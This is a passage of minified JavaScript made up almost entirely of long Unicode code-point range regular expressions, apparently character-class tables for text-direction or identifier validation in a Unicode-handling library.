44\u0D46-\u0D48\u0D4A-\u0D4F\u0D54-\u0D63\u0D66-\u0D7F\u0D81-\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E3A\u0E3F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECE\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F47\u0F49-\u0F6C\u0F71-\u0F97\u0F99-\u0FBC\u0FBE-\u0FCC\u0FCE-\u0FDA\u1000-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u137C\u1380-\u1399\u13A0-\u13F5\u13F8-\u13FD\u1400-\u167F\u1681-\u169C\u16A0-\u16F8\u1700-\u1715\u171F-\u1736\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17DD\u17E0-\u17E9\u17F0-\u17F9\u1800-\u1819\u1820-\u1878\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1940\u1944-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u19DE-\u1A1B\u1A1E-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1AB0-\u1ACE\u1B00-\u1B4C\u1B4E-\u1BF3\u1BFC-\u1C37\u1C3B-\u1C49\u1C4D-\u1C8A\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD0-\u1CFA\u1D00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FC4\u1FC6-\u1FD3\u1FD6-\u1FDB\u1FDD-\u1FEF\u1FF2-\u1FF4\u1FF6-\u1FFE\u200B-\u200E\u2010-\u2027\u202F-\u205E\u2060-\u2064\u206A-\u2071\u2074-\u208E\u2090-\u209C\u20A0-\u20C0\u20D0-\u20F0\u2100-\u218B\u2190-\u2429\u2440-\u244A\u2460-\u2B73\u2B76-\u2B95\u2B97-\u2CF3\u2CF9-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2E5D\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFF\u3001-\u303F\u3041-\u3096\u3099-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31E5\u31EF-\u321E\u3220-\uA48C\uA490-\uA4C6\uA4D0-\uA62B\uA640-\uA6F7\uA700-\uA7CD\uA7D0\uA7D1\uA7D3\uA7D5-\uA7DC\uA7F2-\uA82C\uA830-\uA839\uA840-\uA877\uA880-\uA8C5\uA8CE-\uA8D9\uA8E0-\uA953\uA95F-\uA97C\uA980-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA5C-\uAAC2\uAADB-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB6B\uAB70-\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1E\uFB29\uFD3E-\uFD4F\uFDCF\uFDFD-\uFE19\uFE20-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFEFF\uFF01-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFF9-\uFFFD\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}-\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1018E}\u{10190}-\u{1019C}\u{101A0}\u{101D0}-\u{101FD}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E0}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{1037A}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{105C0}-\u{105F3}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{1091F}\u{10A01}-\u{10A03}\u{10A05}\u{10A06}\u{10A0C}-\u{10A0F}\u{10A38}-\u{10A3A}\u{10A3F}\u{10AE5}\u{10AE6}\u{10B39}-\u{10B3F}\u{10D24}-\u{10D27}\u{10D69}-\u{10D6E}\u{10EAB}\u{10EAC}\u{10EFC}-\u{10EFF}\u{10F46}-\u{10F50}\u{10F82}-\u{10F85}\u{11000}-\u{1104D}\u{11052}-\u{11075}\u{1107F}-\u{110C2}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11100}-\u{11134}\u{11136}-\u{11147}\u{11150}-\u{11176}\u{11180}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{11241}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112EA}\u{112F0}-\u{112F9}\u{11300}-\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133B}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11366}-\u{1136C}\u{11370}-\u{11374}\u{11380}-\u{11389}\u{1138B}\u{1138E}\u{11390}-\u{113B5}\u{113B7}-\u{113C0}\u{113C2}\u{113C5}\u{113C7}-\u{113CA}\u{113CC}-\u{113D5}\u{113D7}\u{113D8}\u{113E1}\u{113E2}\u{11400}-\u{1145B}\u{1145D}-\u{11461}\u{11480}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B5}\u{115B8}-\u{115DD}\u{11600}-\u{11644}\u{11650}-\u{11659}\u{11660}-\u{1166C}\u{11680}-\u{116B9}\u{116C0}-\u{116C9}\u{116D0}-\u{116E3}\u{11700}-\u{1171A}\u{1171D}-\u{1172B}\u{11730}-\u{11746}\u{11800}-\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193B}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D7}\u{119DA}-\u{119E4}\u{11A00}-\u{11A47}\u{11A50}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11BC0}-\u{11BE1}\u{11BF0}-\u{11BF9}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C36}\u{11C38}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11C92}-\u{11CA7}\u{11CA9}-\u{11CB6}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D36}\u{11D3A}\u{11D3C}\u{11D3D}\u{11D3F}-\u{11D47}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D90}\u{11D91}\u{11D93}-\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF8}\u{11F00}-\u{11F10}\u{11F12}-\u{11F3A}\u{11F3E}-\u{11F5A}\u{11FB0}\u{11FC0}-\u{11FF1}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{13455}\u{13460}-\u{143FA}\u{14400}-\u{14646}\u{16100}-\u{16139}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF0}-\u{16AF5}\u{16B00}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16D40}-\u{16D79}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F4F}-\u{16F87}\u{16F8F}-\u{16F9F}\u{16FE0}-\u{16FE4}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18CFF}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}-\u{1BCA3}\u{1CC00}-\u{1CCF9}\u{1CD00}-\u{1CEB3}\u{1CF00}-\u{1CF2D}\u{1CF30}-\u{1CF46}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D1EA}\u{1D200}-\u{1D245}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D300}-\u{1D356}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\u{1D456}-\u{1D49C}\u{1D49E}\u{1D49F}\u{1D4A2}\u{1D4A5}\u{1D4A6}\u{1D4A9}-\u{1D4AC}\u{1D4AE}-\u{1D4B9}\u{1D4BB}\u{1D4BD}-\u{1D4C3}\u{1D4C5}-\u{1D505}\u{1D507}-\u{1D50A}\u{1D50D}-\u{1D514}\u{1D516}-\u{1D51C}\u{1D51E}-\u{1D539}\u{1D53B}-\u{1D53E}\u{1D540}-\u{1D544}\u{1D546}\u{1D54A}-\u{1D550}\u{1D552}-\u{1D6A5}\u{1D6A8}-\u{1D7CB}\u{1D7CE}-\u{1DA8B}\u{1DA9B}-\u{1DA9F}\u{1DAA1}-\u{1DAAF}\u{1DF00}-\u{1DF1E}\u{1DF25}-\u{1DF2A}\u{1E000}-\u{1E006}\u{1E008}-\u{1E018}\u{1E01B}-\u{1E021}\u{1E023}\u{1E024}\u{1E026}-\u{1E02A}\u{1E030}-\u{1E06D}\u{1E08F}\u{1E100}-\u{1E12C}\u{1E130}-\u{1E13D}\u{1E140}-\u{1E149}\u{1E14E}\u{1E14F}\u{1E290}-\u{1E2AE}\u{1E2C0}-\u{1E2F9}\u{1E2FF}\u{1E4D0}-\u{1E4F9}\u{1E5D0}-\u{1E5FA}\u{1E5FF}\u{1E7E0}-\u{1E7E6}\u{1E7E8}-\u{1E7EB}\u{1E7ED}\u{1E7EE}\u{1E7F0}-\u{1E7FE}\u{1E8D0}-\u{1E8D6}\u{1E944}-\u{1E94A}\u{1EEF0}\u{1EEF1}\u{1F000}-\u{1F02B}\u{1F030}-\u{1F093}\u{1F0A0}-\u{1F0AE}\u{1F0B1}-\u{1F0BF}\u{1F0C1}-\u{1F0CF}\u{1F0D1}-\u{1F0F5}\u{1F100}-\u{1F1AD}\u{1F1E6}-\u{1F202}\u{1F210}-\u{1F23B}\u{1F240}-\u{1F248}\u{1F250}\u{1F251}\u{1F260}-\u{1F265}\u{1F300}-\u{1F6D7}\u{1F6DC}-\u{1F6EC}\u{1F6F0}-\u{1F6FC}\u{1F700}-\u{1F776}\u{1F77B}-\u{1F7D9}\u{1F7E0}-\u{1F7EB}\u{1F7F0}\u{1F800}-\u{1F80B}\u{1F810}-\u{1F847}\u{1F850}-\u{1F859}\u{1F860}-\u{1F887}\u{1F890}-\u{1F8AD}\u{1F8B0}-\u{1F8BB}\u{1F8C0}\u{1F8C1}\u{1F900}-\u{1FA53}\u{1FA60}-\u{1FA6D}\u{1FA70}-\u{1FA7C}\u{1FA80}-\u{1FA89}\u{1FA8F}-\u{1FAC6}\u{1FACE}-\u{1FADC}\u{1FADF}-\u{1FAE9}\u{1FAF0}-\u{1FAF8}\u{1FB00}-\u{1FB92}\u{1FB94}-\u{1FBF9}\u{20000}-\u{2A6DF}\u{2A700}-\u{2B739}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u{2EBF0}-\u{2EE5D}\u{2F800}-\u{2FA1D}\u{30000}-\u{3134A}\u{31350}-\u{323AF}\u{E0001}\u{E0020}-\u{E007F}\u{E0100}-\u{E01EF}\u{F0000}-\u{FFFFD}\u{100000}-\u{10FFFD}]*$/u,Zi9=/[0-9A-Za-z\xAA\xB2\xB3\xB5\xB9\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02B8\u02BB-\u02C1\u02D0\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0482\u048A-\u052F\u0531-\u0556\u0559-\u0589\u06F0-\u06F9\u0903-\u0939\u093B\u093D-\u0940\u0949-\u094C\u094E-\u0950\u0958-\u0961\u0964-\u0980\u0982\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD-\u09C0\u09C7\u09C8\u09CB\u09CC\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E1\u09E6-\u09F1\u09F4-\u09FA\u09FC\u09FD\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F\u0A72-\u0A74\u0A76\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD-\u0AC0\u0AC9\u0ACB\u0ACC\u0AD0\u0AE0\u0AE1\u0AE6-\u0AF0\u0AF9\u0B02\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0B5C\u0B5D\u0B5F-\u0B61\u0B66-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7\u0BE6-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C66-\u0C6F\u0C77\u0C7F\u0C80\u0C82-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD-\u0CC4\u0CC6-\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0CDD\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF\u0CF1-\u0CF3\u0D02-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D4F\u0D54-\u0D61\u0D66-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2-\u0DF4\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E4F-\u0E5B\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00-\u0F17\u0F1A-\u0F34\u0F36\u0F38\u0F3E-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FDA\u1000-\u102C\u1031\u1038\u103B\u103C\u103F-\u1057\u105A-\u105D\u1061-\u1070\u1075-\u1081\u1083\u1084\u1087-\u108C\u108E-\u109C\u109E-\u10C5\u10C7\u10CD\u10D0-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u137C\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u167F\u1681-\u169A\u16A0-\u16F8\u1700-\u1711\u1715\u171F-\u1731\u1734-\u1736\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5\u17C7\u17C8\u17D4-\u17DA\u17DC\u17E0-\u17E9\u1810-\u1819\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A16\u1A19\u1A1A\u1A1E-\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AAD\u1B04-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B4C\u1B4E-\u1B6A\u1B74-\u1B7F\u1B82-\u1BA1\u1BA6\u1BA7\u1BAA\u1BAE-\u1BE5\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1BFC-\u1C2B\u1C34\u1C35\u1C3B-\u1C49\u1C4D-\u1C8A\u1C90-\u1CBA\u1CBD-\u1CC7\u1CD3\u1CE1\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5-\u1CF7\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E\u2070\u2071\u2074-\u2079\u207F-\u2089\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2188\u2336-\u237A\u2395\u2488-\u24E9\u26AC\u2800-\u28FF\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u302E\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u3190-\u31BF\u31F0-\u321C\u3220-\u324F\u3260-\u327B\u327F-\u32B0\u32C0-\u32CB\u32D0-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA60C\uA610-\uA62B\uA640-\uA66E\uA680-\uA69D\uA6A0-\uA6EF\uA6F2-\uA6F7\uA722-\uA787\uA789-\uA7CD\uA7D0\uA7D1\uA7D3\uA7D5-\uA7DC\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA824\uA827\uA830-\uA837\uA840-\uA873\uA880-\uA8C3\uA8CE-\uA8D9\uA8F2-\uA8FE\uA900-\uA925\uA92E-\uA946\uA952\uA953\uA95F-\uA97C\uA983-\uA9B2\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9CD\uA9CF-\uA9D9\uA9DE-\uA9E4\uA9E6-\uA9FE\uAA00-\uAA28\uAA2F\uAA30\uAA33\uAA34\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA7B\uAA7D-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAAEB\uAAEE-\uAAF5\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB69\uAB70-\uABE4\uABE6\uABE7\uABE9-\uABEC\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uD800-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFF10-\uFF19\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC\u{10000}-\u{1000B}\u{1000D}-\u{10026}\u{10028}-\u{1003A}\u{1003C}\u{1003D}\u{1003F}-\u{1004D}\u{10050}-\u{1005D}\u{10080}-\u{100FA}\u{10100}\u{10102}\u{10107}-\u{10133}\u{10137}-\u{1013F}\u{1018D}\u{1018E}\u{101D0}-\u{101FC}\u{10280}-\u{1029C}\u{102A0}-\u{102D0}\u{102E1}-\u{102FB}\u{10300}-\u{10323}\u{1032D}-\u{1034A}\u{10350}-\u{10375}\u{10380}-\u{1039D}\u{1039F}-\u{103C3}\u{103C8}-\u{103D5}\u{10400}-\u{1049D}\u{104A0}-\u{104A9}\u{104B0}-\u{104D3}\u{104D8}-\u{104FB}\u{10500}-\u{10527}\u{10530}-\u{10563}\u{1056F}-\u{1057A}\u{1057C}-\u{1058A}\u{1058C}-\u{10592}\u{10594}\u{10595}\u{10597}-\u{105A1}\u{105A3}-\u{105B1}\u{105B3}-\u{105B9}\u{105BB}\u{105BC}\u{105C0}-\u{105F3}\u{10600}-\u{10736}\u{10740}-\u{10755}\u{10760}-\u{10767}\u{10780}-\u{10785}\u{10787}-\u{107B0}\u{107B2}-\u{107BA}\u{11000}\u{11002}-\u{11037}\u{11047}-\u{1104D}\u{11066}-\u{1106F}\u{11071}\u{11072}\u{11075}\u{11082}-\u{110B2}\u{110B7}\u{110B8}\u{110BB}-\u{110C1}\u{110CD}\u{110D0}-\u{110E8}\u{110F0}-\u{110F9}\u{11103}-\u{11126}\u{1112C}\u{11136}-\u{11147}\u{11150}-\u{11172}\u{11174}-\u{11176}\u{11182}-\u{111B5}\u{111BF}-\u{111C8}\u{111CD}\u{111CE}\u{111D0}-\u{111DF}\u{111E1}-\u{111F4}\u{11200}-\u{11211}\u{11213}-\u{1122E}\u{11232}\u{11233}\u{11235}\u{11238}-\u{1123D}\u{1123F}\u{11240}\u{11280}-\u{11286}\u{11288}\u{1128A}-\u{1128D}\u{1128F}-\u{1129D}\u{1129F}-\u{112A9}\u{112B0}-\u{112DE}\u{112E0}-\u{112E2}\u{112F0}-\u{112F9}\u{11302}\u{11303}\u{11305}-\u{1130C}\u{1130F}\u{11310}\u{11313}-\u{11328}\u{1132A}-\u{11330}\u{11332}\u{11333}\u{11335}-\u{11339}\u{1133D}-\u{1133F}\u{11341}-\u{11344}\u{11347}\u{11348}\u{1134B}-\u{1134D}\u{11350}\u{11357}\u{1135D}-\u{11363}\u{11380}-\u{11389}\u{1138B}\u{1138E}\u{11390}-\u{113B5}\u{113B7}-\u{113BA}\u{113C2}\u{113C5}\u{113C7}-\u{113CA}\u{113CC}\u{113CD}\u{113CF}\u{113D1}\u{113D3}-\u{113D5}\u{113D7}\u{113D8}\u{11400}-\u{11437}\u{11440}\u{11441}\u{11445}\u{11447}-\u{1145B}\u{1145D}\u{1145F}-\u{11461}\u{11480}-\u{114B2}\u{114B9}\u{114BB}-\u{114BE}\u{114C1}\u{114C4}-\u{114C7}\u{114D0}-\u{114D9}\u{11580}-\u{115B1}\u{115B8}-\u{115BB}\u{115BE}\u{115C1}-\u{115DB}\u{11600}-\u{11632}\u{1163B}\u{1163C}\u{1163E}\u{11641}-\u{11644}\u{11650}-\u{11659}\u{11680}-\u{116AA}\u{116AC}\u{116AE}\u{116AF}\u{116B6}\u{116B8}\u{116B9}\u{116C0}-\u{116C9}\u{116D0}-\u{116E3}\u{11700}-\u{1171A}\u{1171E}\u{11720}\u{11721}\u{11726}\u{11730}-\u{11746}\u{11800}-\u{1182E}\u{11838}\u{1183B}\u{118A0}-\u{118F2}\u{118FF}-\u{11906}\u{11909}\u{1190C}-\u{11913}\u{11915}\u{11916}\u{11918}-\u{11935}\u{11937}\u{11938}\u{1193D}\u{1193F}-\u{11942}\u{11944}-\u{11946}\u{11950}-\u{11959}\u{119A0}-\u{119A7}\u{119AA}-\u{119D3}\u{119DC}-\u{119DF}\u{119E1}-\u{119E4}\u{11A00}\u{11A07}\u{11A08}\u{11A0B}-\u{11A32}\u{11A39}\u{11A3A}\u{11A3F}-\u{11A46}\u{11A50}\u{11A57}\u{11A58}\u{11A5C}-\u{11A89}\u{11A97}\u{11A9A}-\u{11AA2}\u{11AB0}-\u{11AF8}\u{11B00}-\u{11B09}\u{11BC0}-\u{11BE1}\u{11BF0}-\u{11BF9}\u{11C00}-\u{11C08}\u{11C0A}-\u{11C2F}\u{11C3E}-\u{11C45}\u{11C50}-\u{11C6C}\u{11C70}-\u{11C8F}\u{11CA9}\u{11CB1}\u{11CB4}\u{11D00}-\u{11D06}\u{11D08}\u{11D09}\u{11D0B}-\u{11D30}\u{11D46}\u{11D50}-\u{11D59}\u{11D60}-\u{11D65}\u{11D67}\u{11D68}\u{11D6A}-\u{11D8E}\u{11D93}\u{11D94}\u{11D96}\u{11D98}\u{11DA0}-\u{11DA9}\u{11EE0}-\u{11EF2}\u{11EF5}-\u{11EF8}\u{11F02}-\u{11F10}\u{11F12}-\u{11F35}\u{11F3E}\u{11F3F}\u{11F41}\u{11F43}-\u{11F59}\u{11FB0}\u{11FC0}-\u{11FD4}\u{11FFF}-\u{12399}\u{12400}-\u{1246E}\u{12470}-\u{12474}\u{12480}-\u{12543}\u{12F90}-\u{12FF2}\u{13000}-\u{1343F}\u{13441}-\u{13446}\u{13460}-\u{143FA}\u{14400}-\u{14646}\u{16100}-\u{1611D}\u{1612A}-\u{1612C}\u{16130}-\u{16139}\u{16800}-\u{16A38}\u{16A40}-\u{16A5E}\u{16A60}-\u{16A69}\u{16A6E}-\u{16ABE}\u{16AC0}-\u{16AC9}\u{16AD0}-\u{16AED}\u{16AF5}\u{16B00}-\u{16B2F}\u{16B37}-\u{16B45}\u{16B50}-\u{16B59}\u{16B5B}-\u{16B61}\u{16B63}-\u{16B77}\u{16B7D}-\u{16B8F}\u{16D40}-\u{16D79}\u{16E40}-\u{16E9A}\u{16F00}-\u{16F4A}\u{16F50}-\u{16F87}\u{16F93}-\u{16F9F}\u{16FE0}\u{16FE1}\u{16FE3}\u{16FF0}\u{16FF1}\u{17000}-\u{187F7}\u{18800}-\u{18CD5}\u{18CFF}-\u{18D08}\u{1AFF0}-\u{1AFF3}\u{1AFF5}-\u{1AFFB}\u{1AFFD}\u{1AFFE}\u{1B000}-\u{1B122}\u{1B132}\u{1B150}-\u{1B152}\u{1B155}\u{1B164}-\u{1B167}\u{1B170}-\u{1B2FB}\u{1BC00}-\u{1BC6A}\u{1BC70}-\u{1BC7C}\u{1BC80}-\u{1BC88}\u{1BC90}-\u{1BC99}\u{1BC9C}\u{1BC9F}\u{1CCD6}-\u{1CCF9}\u{1CF50}-\u{1CFC3}\u{1D000}-\u{1D0F5}\u{1D100}-\u{1D126}\u{1D129}-\u{1D166}\u{1D16A}-\u{1D172}\u{1D183}\u{1D184}\u{1D18C}-\u{1D1A9}\u{1D1AE}-\u{1D1E8}\u{1D2C0}-\u{1D2D3}\u{1D2E0}-\u{1D2F3}\u{1D360}-\u{1D378}\u{1D400}-\u{1D454}\